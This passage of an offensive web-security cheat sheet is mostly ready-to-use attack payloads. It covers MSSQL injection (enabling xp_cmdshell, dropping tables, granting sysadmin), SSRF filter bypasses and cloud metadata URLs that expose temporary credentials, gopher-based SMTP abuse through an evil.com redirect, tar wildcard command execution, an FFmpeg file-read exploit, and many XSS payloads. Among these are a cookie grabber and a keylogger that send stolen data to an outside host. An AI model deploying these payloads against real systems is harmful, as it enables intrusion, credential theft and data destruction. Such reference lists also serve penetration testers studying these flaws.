WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
SELECT message FROM data WHERE row = 1 and message like 't%'
```

MSSQL Time based

```
ProductID=1;waitfor delay '0:0:10'--
ProductID=1);waitfor delay '0:0:10'--
ProductID=1';waitfor delay '0:0:10'--
ProductID=1');waitfor delay '0:0:10'--
ProductID=1));waitfor delay '0:0:10'--

IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'                    comment:    --
```

MSSQL Stacked Query

Use a semi-colon ";" to add another query

```
ProductID=1; DROP members--
```

MSSQL Command execution

```
EXEC xp_cmdshell "net user";
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1'
```

If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)

```
EXEC sp_configure 'show advanced options',1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
```

MSSQL Make user DBA (DB admin)

```
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
```

Thanks to

- Pentest Monkey - mssql-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
- Sqlinjectionwiki - MSSQL (http://www.sqlinjectionwiki.com/categories/1/mssql-sql-injection-cheat-sheet/)
- Error Based - SQL Injection (https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20"Order%20By"%20clause%20(MSSQL).pdf)

Server-Side Request Forgery

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him.

Summary

Exploit with localhost

Basic SSRF v1

```
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
```

Basic SSRF - Alternative version

```
http://localhost:80
http://localhost:443
http://localhost:22
```

Advanced exploit using a redirection

```
1. Create a subdomain pointing to 192.168.0.1 with DNS A record  e.g:ssrf.example.com
2. Launch the SSRF: vulnerable.com/index.php?url=http://YOUR_SERVER_IP
vulnerable.com will fetch YOUR_SERVER_IP which will redirect to 192.168.0.1
```

Advanced exploit using type=url

```
Change "type=file" to "type=url"
Paste URL in text field and hit enter
Using this vulnerability users can upload images from any image URL = trigger an SSRF
```

Bypassing filters

Bypass using HTTPS

```
https://127.0.0.1/
https://localhost/
```

Bypass localhost with [::]

```
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
```

```
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
```

Bypass localhost with a domain redirecting to locahost

```
http://localtest.me
http://n-pn.info
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
```

The service nip.io is awesome for that, it will convert any ip address as a dns.

```
NIP.IO maps <anything>.<IP Address>.nip.io to the corresponding <IP Address>, even 127.0.0.1.nip.io maps to 127.0.0.1
```

Bypass localhost with CIDR : 127.x.x.x

```
it's a /8
http://127.127.127.127
```

```
http://127.0.1.3
http://127.0.0.0
```

Bypass using a decimal ip location

```
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
```

Bypass using malformed urls

```
localhost:+11211aaa
localhost:00011211aaaa
```

Bypass using rare address

```
http://0/
```

Bypass using bash variables (curl only)

```
curl -v "http://evil$google.com"
$google = ""
```

Bypass using tricks combination

```
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
```

Bypass using enclosed alphanumerics @EdOverflow (https://twitter.com/EdOverflow)

```
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com
```

```
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳

                                                                    ⓐ ⓑ ⓒ
 ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ   ⓫ ⓬ ⓭ ⓮ ⓯
⓰ ⓱ ⓲ ⓳ ⓴ ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
```

SSRF via URL Scheme

Dict Wrapper The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

```
dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/
```

Sftp Wrapper

```
ssrf.php?url=sftp://evil.com:11111/
```

Tftp Wrapper

```
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```

Ldap Wrapper

```
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
```

Gopher Wrapper

```
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AH

You didn't say the magic word !


.
QUIT
```

Gopher SMTP - Back connect to 1337

```
Content of evil.com/redirect.php:
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>

Now query it.
https://example.com/?q=http://evil.com/redirect.php.
```

Gopher SMTP – send a mail

```
Content of evil.com/redirect.php:
<?php
        $commands = array(
                'HELO victim.com',
                'MAIL FROM: <admin@victim.com>',
                'RCPT To: <sxcurity@oou.us>',
                'DATA',
                'Subject: @sxcurity!',
                'Corben was here, woot woot!',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://0:25/_'.$payload);
?>
```

SSRF to XSS by @D0rkerDevil & @alyssa.o.herrera

```
http://brutelogic.com.br/poc.svg -> simple alert
https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri= -> simple ssr
f

https://website.mil/plugins/servlet/oauth/users/icon-uri?consumerUri=http://brutelo
gic.com.br/poc.svg
```

SSRF URL for Cloud Instances

SSRF URL for AWS Bucket

Docs (http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) Interesting path to look for at `http://169.254.169.254`

```
Always here : /latest/meta-data/{hostname,public-ipv4,...}
User data (startup script for auto-scaling) : /latest/user-data
Temporary AWS credentials : /latest/meta-data/iam/security-credentials/
```

DNS record

```
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/
```

HTTP redirect

```
Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
```

Alternate IP encoding

```
http://425.510.425.510/ Dotted decimal with overflow
http://2852039166/ Dotless decimal
http://7147006462/ Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE/ Dotted hexadecimal
http://0xA9FEA9FE/ Dotless hexadecimal
http://0x41414141A9FEA9FE/ Dotless hexadecimal with overflow
http://0251.0376.0251.0376/ Dotted octal
http://0251.00376.000251.0000376/ Dotted octal with padding
```

More urls to include

```
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
```

SSRF URL for Google Cloud

Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True"

```
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
```

Google allows recursive pulls

```
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
```

Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)

```
http://metadata.google.internal/computeMetadata/v1beta1/
```

SSRF URL for Digital Ocean

Documentation available at `https://developers.digitalocean.com/documentation/metadata/`

```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

All in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```

SSRF URL for Packetcloud

Documentation available at `https://metadata.packet.net/userdata`

SSRF URL for Azure

Limited, maybe more exists? `https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`

```
http://169.254.169.254/metadata/v1/maintenance
```

Update Apr 2017, Azure has more support; requires the header "Metadata: true" `https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`

```
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
```

SSRF URL for OpenStack/RackSpace

(header required? unknown)

```
http://169.254.169.254/openstack
```

SSRF URL for HP Helion

(header required? unknown)

```
http://169.254.169.254/2009-04-04/meta-data/
```

SSRF URL for Oracle Cloud

```
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/
```

SSRF URL for Alibaba

```
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
```

Thanks to

- Hackerone - How To: Server-Side Request Forgery (SSRF) (https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF)
- Awesome URL abuse for SSRF by @orange_8361 #BHUSA (https://twitter.com/albinowax/status/890725759861403648)
- How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE! Orange Tsai (http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html)
- #HITBGSEC 2017 SG Conf D1 - A New Era Of SSRF - Exploiting Url Parsers - Orange Tsai (https://www.youtube.com/watch?v=D1S-G8rJrEk)
- SSRF Tips - xl7dev (http://blog.safebuff.com/2016/07/03/SSRF-Tips/)
- SSRF in https://imgur.com/vidgif/url (https://hackerone.com/reports/115748)
- Les Server Side Request Forgery : Comment contourner un pare-feu - @Geluchat (https://www.dailysecurity.fr/server-side-request-forgery/)
- AppSecEU15 Server side browsing considered harmful - @Agarri (http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf)
- Enclosed alphanumerics - @EdOverflow (https://twitter.com/EdOverflow)
- Hacking the Hackers: Leveraging an SSRF in HackerTarget - @sxcurity (http://www.sxcurity.pro/2017/12/17/hackertarget/)
- PHP SSRF @secjuice (https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51)
- How I convert SSRF to xss in a ssrf vulnerable Jira (https://medium.com/@D0rkerDevil/how-i-convert-ssrf-to-xss-in-a-ssrf-vulnerable-jira-e9f37ad5b158)
- Piercing the Veil: Server Side Request Forgery to NIPRNet access (https://medium.com/bugbountywriteup/piercing-the-veil-server-side-request-forgery-to-niprnet-access-c358fd5e249a)

TAR Command Execution

By using tar with –checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and that’s where the wildcard comes in handy.

Exploit

These files work against a "tar *"

```
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
shell.sh   (your exploit code is here)
```

Thanks to

- Exploiting wildcards on Linux - Berislav Kucan (https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
- Code Execution With Tar Command - p4pentest (http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
- Back To The Future: Unix Wildcards Gone Wild - Leon Juranic (http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)

FFmpeg HLS vulnerability

FFmpeg is an open source software used for processing audio and video formats. You can use a malicious HLS playlist inside an AVI video to read arbitrary files.

Exploits

```
1. `./gen_xbin_avi.py file://<filename> file_read.avi`
2. Upload `file_read.avi` to some website that processes videofiles
3. (on server side, done by the videoservice) `ffmpeg -i file_read.avi output.mp4`
4. Click "Play" in the videoservice.
5. If you are lucky, you'll the content of `<filename>` from the server.
```

How it works (Explanations from neex - Hackerone links)

the script creates an AVI that contains an HLS playlist inside GAB2. The playlist generated by this script looks like this:

```
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0
GOD.txt
#EXTINF:1.0
/etc/passwd
#EXT-X-ENDLIST
```

To process a playlist ffmpeg concatenates all segments and processes it as single file. To determine the type of this file FFmpeg uses the first segment of the playlist. FFmpeg processes .txt files in a special way. It tries to show a screen capture of a tty printing this file.

So, the playlist above will be processed as follows: FFmpeg sees #EXTM3U signature inside GAB2 chunk and determines file type as HLS playlist. The file GOD.txt doesn't even exist, but it's name is enough for FFmpeg to detect file type as .txt. FFmpeg concatenates the contents of all segments of the playlist. As only one of two segments actually exists, the result of concatenation is just the contents of the file we want to retrieve. Because the type of this concatenation is .txt, FFmpeg draws a tty that prints the file.

Thanks to

- Hackerone - Local File Disclosure via ffmpeg @sxcurity
  (https://hackerone.com/reports/242831)

- Hackerone - Another local file disclosure via ffmpeg (https://hackerone.com/reports/243470)
- PHDays - Attacks on video converters:a year later, Emil Lerner, Pavel Cheremushkin (https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.p)
- Script by @neex (https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py)

Web Cache Deception Attack

Exploit

1. Browser requests `http://www.example.com/home.php/non-existent.css`.
2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page.
3. The response goes through the proxy.
4. The proxy identifies that the file has a css extension.
5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside.

Methodology of the attack - example

1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
3. The page is displayed as /home and the cache is saving the page
4. Open a private tab with the previous URL : `https://www.paypal.com/myaccount/home/malicous.css`
5. The content of the cache is displayed

 (https://www.youtube.com/watch?v=pLte7SomUB8)

Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page

Thanks to

- Web Cache Deception Attack - Omer Gil (http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html)
- Practical Web Cache Poisoning - James Kettle @albinowax (https://portswigger.net/blog/practical-web-cache-poisoning)

XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Exploitation

Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())"`

```
' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
```

Blind Exploitation

```
1. Size of a string
and string-length(account)=SIZE_INT

2. Extract a character
substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```

Thanks to

- OWASP XPATH Injection (https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
- XPATH Blind Explorer (http://code.google.com/p/xpath-blind-explorer/)

Cross Site Scripting

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.

- Exploit code or POC
- Identify an XSS endpoint
- XSS in HTML/Applications
- XSS in wrappers javascript and data URI
- XSS in files
- Polyglot XSS
- Filter Bypass and Exotic payloads
- Common WAF Bypas

Exploit code or POC

Cookie grabber for XSS

```
<?php
// How to use it
# <script>document.location='http://localhost/XSS/grabber.php?c=' + document.cookie
</script>

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>
```

Keylogger for XSS

```
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```

More exploits at http://www.xss-payloads.com/payloads-list.html?a#category=all (http://www.xss-payloads.com/payloads-list.html?a#category=all) :

- Taking screenshots using XSS and the HTML5 Canvas (https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)

- JavaScript Port Scanner (http://www.gnucitizen.org/blog/javascript-port-scanner/)
- Network Scanner (http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
- .NET Shell execution (http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
- Redirect Form (http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
- Play Music (http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)

Identify an XSS endpoint

```
<script>debugger;</script>
```

XSS in HTML/Applications

XSS Basic

```
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>

Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
```

XSS for HTML5

```
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
```

```
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
```

XSS using script tag (external payload)

```
<script src=14.rs>
you can also specify an arbitratry payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
```

XSS in META tag

```
Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<meta/content="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg=="http-equiv=refresh>

With an additional URL
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
```

XSS in Hidden input

```
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
```

DOM XSS

```
#"><img src=/ onerror=alert(2)>
```

XSS in JS Context (payload without quote/double quote from @brutelogic (https://twitter.com/brutelogic)

```
-(confirm)(document.domain)//
; alert(1);//
```

XSS URL

```
URL/<svg onload=alert(1)>
URL/<script>alert('XSS');//
URL/<input autofocus onfocus=alert(1)>
```

XSS in wrappers javascript and data URI

XSS with javascript:

```
javascript:prompt(1)
```

```
%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javacript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1)   - LF (\n)
java%09script:alert(1)   - Horizontal tab (\t)
java%0dscript:alert(1)   - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
```

XSS with data:

```
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```

XSS with vbscript: only IE

```
vbscript:msgbox("XSS")
```

XSS in files

NOTE: The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.

```
<name>
  <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
```

XSS in XML

```
<html>
<head></head>
```

```
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</somethin
g:script>
</body>
</html>
```

XSS in SVG

```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphi
cs/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>
```

XSS in SVG (short)

```
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
```

XSS in SWF flash application

```
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.dom
ain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e)
{ window.open('?js=history.go(-1)','_self');}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open('invalidfileinvalidfile
invalidfile','target');setTimeout('alert(w.document.location);w.close();',1);
```

more payloads in ./files

XSS in SWF flash application

```
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web
.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
```

```
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3
NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}
//
```

XSS in CSS

```
<!DOCTYPE html>
<html>
<head>
<style>
div  {
    background-image: url("<\/style><svg/onload=alert(docu
ment.domain)>");
    background-color: #cccccc;
}
</style>
</head>
  <body>
    <div>lol</div>
  </body>
</html>
```

Polyglot XSS

Polyglot XSS - 0xsobky

```
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
```

Polyglot XSS - Ashar Javed

```
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
```

Polyglot XSS - Mathias Karlsson

```
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
```

Polyglot XSS - Rsnake

```
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
```

Polyglot XSS - Daniel Miessler

```
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
```

Polyglot XSS - @s0md3v (https://twitter.com/s0md3v/status/966175714302144514)

```
--><sCript><svG x=">" onload=(co\u006efirm)``>
```

```
<svg%0Ao%00nload=%09((pro\u006dpt))()//
```

Filter Bypass and exotic payloads

Bypass case sensitive

```
<sCrIpt>alert(1)</ScRipt>
```

Bypass tag blacklist

```
<script x>
<script x>alert('XSS')<script y>
```

Bypass word blacklist with code evaluation

```
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
```

Bypass with incomplete html tag - IE/Firefox/Chrome/Safari

```
<img src='1' onerror='alert(0)' <
```

Bypass quotes for string

```
String.fromCharCode(88,83,83)
```

Bypass quotes in script tag

```
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
  <script>
    <?php echo 'foo="text '.$_GET['test'].'";';`?>
  </script>
</html>
```

Bypass quotes in mousedown event

```
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>

You can bypass a single quote with &#39; in an on mousedown event handler
```

Bypass dot filter

```
<script>window['alert'](document['domain'])<script>
```

Bypass parenthesis for string - Firefox/Opera

```
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
```

Bypass onxxxx= blacklist

```
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>
```

Bypass onxxx= filter with a null byte/vertical tab - IE/Safari

```
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />
```

Bypass onxxx= filter with a '/' - IE/Firefox/Chrome/Safari

```
<img src='1' onerror/=alert(0) />
```

Bypass space filter with "/" - IE/Firefox/Chrome/Safari

```
<img/src='1'/onerror=alert(0)>
```

Bypass space filter with 0x0c/^L

```
<svgonload=alert(1)>


$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c  <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a                   ert(1).>.
```

Bypass document blacklist

```
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</sc
ript>
```

Bypass using javascript inside a string

```
<script>
foo="text </script><script>alert(1)</script>";
</script>
```

Bypass using an alternate way to redirect

```
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
```

Bypass using an alternate way to execute an alert – @brutelogic
(https://twitter.com/brutelogic/status/965642032424407040)

```
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
```

Bypass using an alternate way to execute an alert – @404death
(https://twitter.com/404death/status/1011860096685502464)

```
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

